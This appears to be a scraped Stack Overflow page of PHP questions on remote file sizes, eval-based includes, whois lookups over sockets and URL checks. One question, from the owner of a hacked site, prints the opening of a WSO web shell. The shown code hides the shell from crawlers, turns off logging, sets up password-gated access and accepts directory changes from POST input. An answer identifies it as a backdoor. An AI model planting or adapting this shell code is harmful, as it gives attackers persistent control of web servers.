PHP check file size in via Internet [duplicate] - php

This question already has answers here:
Remote file size without downloading file
(15 answers)
Closed 9 years ago.
How to check file size in via Internet? The sample below is my code that does not work
echo filesize('http://localhost/wordpress-3.1.2.zip');
echo filesize('http://www.wordpress.com/wordpress-3.1.2.zip');

The filesize function is used to get size of files stored locally.* For remote files you must find other solution, for example:
<?php
function getSizeFile($url) {
if (substr($url,0,4)=='http') {
$x = array_change_key_case(get_headers($url, 1),CASE_LOWER);
if ( strcasecmp($x[0], 'HTTP/1.1 200 OK') != 0 ) { $x = $x['content-length'][1]; }
else { $x = $x['content-length']; }
}
else { $x = #filesize($url); }
return $x;
}
?>
Source: See the first post-comment in link below
http://php.net/manual/en/function.filesize.php
*Well, to be honest since PHP 5 there are some wrappers for file functions, see here:
http://www.php.net/manual/en/wrappers.php
You can find a lot more examples, even here on SO, this should satisfy your needs: PHP: Remote file size without downloading file
Try to use search function before asking question next time!

try this function
<?php
function remotefsize($url) {
$sch = parse_url($url, PHP_URL_SCHEME);
if (($sch != "http") && ($sch != "https") && ($sch != "ftp") && ($sch != "ftps")) {
return false;
}
if (($sch == "http") || ($sch == "https")) {
$headers = get_headers($url, 1);
if ((!array_key_exists("Content-Length", $headers))) { return false; }
return $headers["Content-Length"];
}
if (($sch == "ftp") || ($sch == "ftps")) {
$server = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$path = parse_url($url, PHP_URL_PATH);
$user = parse_url($url, PHP_URL_USER);
$pass = parse_url($url, PHP_URL_PASS);
if ((!$server) || (!$path)) { return false; }
if (!$port) { $port = 21; }
if (!$user) { $user = "anonymous"; }
if (!$pass) { $pass = "phpos#"; }
switch ($sch) {
case "ftp":
$ftpid = ftp_connect($server, $port);
break;
case "ftps":
$ftpid = ftp_ssl_connect($server, $port);
break;
}
if (!$ftpid) { return false; }
$login = ftp_login($ftpid, $user, $pass);
if (!$login) { return false; }
$ftpsize = ftp_size($ftpid, $path);
ftp_close($ftpid);
if ($ftpsize == -1) { return false; }
return $ftpsize;
}
}
?>

I think that's probably not possible. The best way is to download the file via file_get_contents and then use filesize over the file. You can later delete the file too!

Related

php include or require contents of a variable, not a file

I'm looking for a way to include or require the content of a variable, instead of a file.
Normally, one can require/include a php function file with either of these:
require_once('my1stphpfunctionfile.php')
include('my2ndphpfunctionfile.php');
Suppose I wanted to do something like this:
$contentOf1stFFile = file_get_contents('/tmp/my1stphpfunctionfile.php');
$contentOf2ndFFile = file_get_contents('/tmp/my2ndphpfunctionfile.php');
require_once($contentOf1stFFile);
require_once($contentOf2ndFFile);
Now, in the above example, I have the actual function files which I am loading into variables. In the real world scenario I'm actually dealing with, the php code in the function files are not stored in files. They're in variables. So I'm looking for a way to treat those variables as include/require treats the function files.
I'm new to php so please forgive these questions if you find them foolish. What I'm attempting to do here does not appear to be possible. What I ended up doing was using eval which I'm told is very dangerous and should be avoided:
eval("?>$contentOf1stFFile");
eval("?>$contentOf2ndFFile");
Content of $contentOf1stFFile:
# class_lookup.php
<?php
class Lookup_whois {
// Domain name which we want to lookup
var $domain;
// TLD for above domain, eg. 'com', 'net', etc...
var $tld;
// Array which contains information needed to parse the whois server response
var $tld_params;
// Sets to error code if something fails
var $error_code;
// Sets user-friendly error message if something goes wrong
var $error_message;
// For internal use mainly - raw response from the whois server
var $whois_raw_output;
function Lookup_whois($domain, $tld, $tld_params) {
$this->domain = $domain;
$this->tld = $tld;
$this->tld_params = $tld_params;
}
function check_domain_spelling() {
if (preg_match("/^([A-Za-z0-9]+(\-?[A-za-z0-9]*)){2,63}$/", $this->domain)) {
return true;
} else {
return false;
}
}
function get_whois_output() {
if (isset($this->tld_params[$this->tld]['parameter'])) {
$query = $this->tld_params[$this->tld]['parameter'].$this->domain.'.'.$this->tld;
} else {
$query = $this->domain.'.'.$this->tld;
}
$server = $this->tld_params[$this->tld]['whois'];
if (!$this->check_domain_spelling()) {
$this->error_message = 'Domain name is not correct, check spelling. Only numbers, letters and hyphens are allowed';
return false;
}
if (!$server) {
$this->error_message = 'Whois server name is empty, please check the config file';
return false;
}
$output = array();
$fp = fsockopen($server, 43, $errno, $errstr, 30);
if(!$fp) {
$this->error_code = $errno;
$this->error_message = $errstr;
fclose($fp);
return false;
} else {
sleep(2);
fputs($fp, $query . "\n");
while(!feof($fp)) {
$output[] = fgets($fp, 128);
}
fclose($fp);
$this->whois_raw_output = $output;
return true;
}
}
function parse_whois_data() {
if (!is_array($this->whois_raw_output) && Count($this->whois_raw_output) < 1) {
$this->error_message = 'No output to parse... Get data first';
return false;
}
$wait_for = 0;
$result = array();
$result['domain'] = $this->domain.'.'.$this->tld;
foreach ($this->whois_raw_output as $line) {
#if (ereg($this->tld_params[$this->tld]['wait_for'], $line)) {
if (preg_match($this->tld_params[$this->tld]['wait_for'],$line)) {
$wait_for = 1;
}
if ($wait_for == 1) {
foreach ($this->tld_params[$this->tld]['info'] as $key => $value) {
$regs = '';
if (ereg($value.'(.*)', $line, $regs)) {
if (key_exists($key, $result)) {
if (!is_array($result[$key])) {
$result[$key] = array($result[$key]);
}
$result[$key][] = trim($regs[1]);
} else {
$result[$key] = trim($regs[1]);
$i = 1;
}
}
}
}
}
return $result;
}
}
?>
Are there any other alternatives?
No there are no other alternatives.
In terms of security there is no difference if you include() a file or eval() the content. It depends on the context. As long as you only run your own code there is nothing "dangerous".

What is the effect of this php file found on a hacked website?

A website was hacked and I found a strange new php file on it. I have already deleted all the files and the database before changing the host credentials, but I would like to know what else should I be double-check before going back live with a backup?
Are there any other extra measures to be taken for the future - as in: how do I find how it got there?
Here is a piece of code and the pastebin since the code is too long:
<?php
$auth_pass = "fadf17141f3f9c3389d10d09db99f757";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
#ini_set('error_log',NULL);
#ini_set('log_errors',0);
#ini_set('max_execution_time',0);
#set_time_limit(0);
#set_magic_quotes_runtime(0);
#define('WSO_VERSION', '2.5.1');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = #ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = #ini_get('disable_functions');
$home_cwd = #getcwd();
if(isset($_POST['c']))
#chdir($_POST['c']);
$cwd = #getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
https://pastebin.com/J37Xvk9v
This is a backdoor. Hackers can acces this page(php file) to enter commands on your server. This way they can hack you again even when you change your password.
Always delete such files and there is a optertunity he hided more pages like these.

Why strpos PHP not work with fsockopen response?

Why strpos PHP not work with fsockopen response ?
When load this code. This code will be requests sdgsgsdgsfsdfsd.ca to whois.cira.ca server and find text Domain status: available with strpos PHP if found it's will be echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"available"}
but if not found text. It's will be echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"TAKEN"}
In this case found text but still echo
{"domain":"sdgsgsdgsfsdfsdca","availability":"TAKEN"}
How can i do ?
<?php
$server = "whois.cira.ca";
$response = "Domain status: available";
showDomainResult(sdgsgsdgsfsdfsd.ca,$server,$response);
function checkDomain($domain_check,$server,$findText)
{
$con = fsockopen($server, 43);
if (!$con) return false;
fputs($con, $domain_check."\r\n");
$response = ' :';
while(!feof($con))
{
$response .= fgets($con,128);
}
echo $response."<BR><BR><BR><BR><BR>";
fclose($con);
if (strpos($response, $findText))
{
return true;
}
else
{
return false;
}
}
function showDomainResult($domain_check,$server,$findText)
{
if (checkDomain($domain_check,$server,$findText))
{
class Emp
{
public $domain = "";
public $availability = "";
}
$e = new Emp();
$e->domain = $domain_check;
$e->availability = "available";
echo json_encode($e);
}
else
{
class Emp
{
public $domain = "";
public $availability = "";
}
$e = new Emp();
$e->domain = $domain_check;
$e->availability = "TAKEN";
echo json_encode($e);
}
}
?>
you're using strpos wrong, if the string START with what you're searching for, it will return int(0), which is "kinda false" by PHP's definition. explicitly check for false, like this
return false!==strpos($response, $findText);
and make sure you're using !== not !=
and as a rule of thumb, never use loose comparison operators in PHP if you can avoid it, hilarious bugs can occur if you do: https://3v4l.org/tT4l8

check if given domain name present in set of urls php

I have an url whose format may be :
www.discover.com
http://discover.com
http://www.discover.com
http://www.abcd.discover.com
discover.com
And i have another url which may be any of below format:
www.discover.com/something/smoething
http://discover.com/something/smoething
http://www.discover.com/something/smoething
http://www.abcd.discover.com/something/smoething
discover.com/something/smoething
Now i want to compare this two urls to check whether domain name "discover.com" is present in the second url.
Am using below code :
$domain1 = str_ireplace('www.', '', parse_url($urlItem1, PHP_URL_HOST));
$domain2= str_ireplace('www.', '', parse_url($urlItem2, PHP_URL_HOST));
if(strstr($domain2, $domain1))
{
return $domain2;
}
Solution :
function url_comparison($url1, $url2) {
$domain1 = parse_url($url1,PHP_URL_HOST);
$domain2 = parse_url($url2,PHP_URL_HOST);
$domain1 = isset($domain1) ? str_ireplace('www.', '',$domain1) : str_ireplace('www.', '',$url1);
$domain2 = isset($domain2) ? str_ireplace('www.', '',$domain2) : str_ireplace('www.', '',$url2);
if(strstr($domain2, $domain1))
{
return true;
}
else
{
return false;
}
}
$url1 = "discover.com";
$url2 = "https://www.abcd.discover.com/credit-cards/resources/balance-transfer.shtml";
if(url_comparison($url1, $url2))
{
echo "Same Domain";
}
else
{
echo "Diffrent Domain";
}
Thanks.
Make use of the documentation, parse url
Then you should look at the hostname, and with use of strpos.
$url = parse_url('www.discover.com/something/smoething');
if (strpos($url['host'], 'discover.com') !== false) {
// do you thing
}
0 is also a valid value so the !== or === is needed
To check if two domain are equal you need to set some rules, because is www.example.com the same as example.com, and is https the same as http?
function url_comparison($url_1, $url_2, $www = false, $scheme = false) {
$url_part_1 = parse_url($url_1);
$url_part_2 = parse_url($url_2);
if ($scheme && $url_part_1['scheme'] !== $url_part_2['scheme']) {
return false;
}
if ($www && $url_part_1['host'] === $url_part_2['host']) {
return false;
} elseif(!$www && (strpos($url_part_1['host'], $url_part_2['host']) !== false || strpos($url_part_2['host'], $url_part_1['host']) !== false)) {
return false;
}
return true;
}
With the above function you should see the right direction, not tested so should be tweaked perhaps. The first 2 values should be an url. $www is a boolean if the 'www.' should be checked, and if $scheme = true also the https or http needs to be the same

Don't check the domain name only

Soooo it's me again with this function..
I have the function working.
function http_file_exists($url)
{
$f = #fopen($url,"r");
if($f)
{
fclose($f);
return true;
}
return false;
}
And this is the usage :
if ($submit || $preview || $refresh)
{
$post_data['your_url'] = "http://www.google.com/this"; //remove the equals and url value if using in real post
$your_url = $post_data['your_url'];
$your_url_exists = (isset($your_url)) ? true : false;
$your_url = preg_replace(array('#&\#46;#','#&\#58;#','/\[(.*?)\]/'), array('.',':',''), $your_url);
if ($your_url_exists && http_file_exists($your_url) == true)
{
trigger_error('exists!');
}
How do I let it check the whole url and not the domain name only ? for example http://www.google.com/this
url tested is http://www.google.com/abadurltotest
source of code below = What is the fastest way to determine if a URL exists in PHP?
function http_file_exists($url)
{
//$url = preg_replace(array('#&\#46;#','#&\#58;#','/\[(.*?)\]/'), array('.',':',''), $url);
$url_data = parse_url ($url);
if (!$url_data) return FALSE;
$errno="";
$errstr="";
$fp=0;
$fp=fsockopen($url_data['host'],80,$errno,$errstr,30);
if($fp===0) return FALSE;
$path ='';
if (isset( $url_data['path'])) $path .= $url_data['path'];
if (isset( $url_data['query'])) $path .= '?' .$url_data['query'];
$out="GET /$path HTTP/1.1\r\n";
$out.="Host: {$url_data['host']}\r\n";
$out.="Connection: Close\r\n\r\n";
fwrite($fp,$out);
$content=fgets($fp);
$code=trim(substr($content,9,4)); //get http code
fclose($fp);
// if http code is 2xx or 3xx url should work
return ($code[0] == 2 || $code[0] == 3) ? TRUE : FALSE;
}
add the top code to functions_posting.php replacing previous function
if ($submit || $preview || $refresh)
{
$post_data['your_url'] = " http://www.google.com/abadurltotest";
$your_url = $post_data['your_url'];
$your_url_exists = (request_var($your_url, '')) ? true : false;
$your_url = preg_replace(array('#&\#46;#','#&\#58;#','/\[(.*?)\]/'), array('.',':',''), $your_url);
if ($your_url_exists === true && http_file_exists($your_url) === false)
{
trigger_error('A bad url was entered, Please push the browser back button and try again.');
}
Use curl and check the HTTP status code. if it's not 200 - most likely the url doesn't exist or inaccessible.
also note that
$your_url_exists = (isset($your_url)) ? true : false;
makes no sense. It seems you want
$your_url_exists = (bool)$your_url;
or just check $your_url instead of $your_url_exists

Categories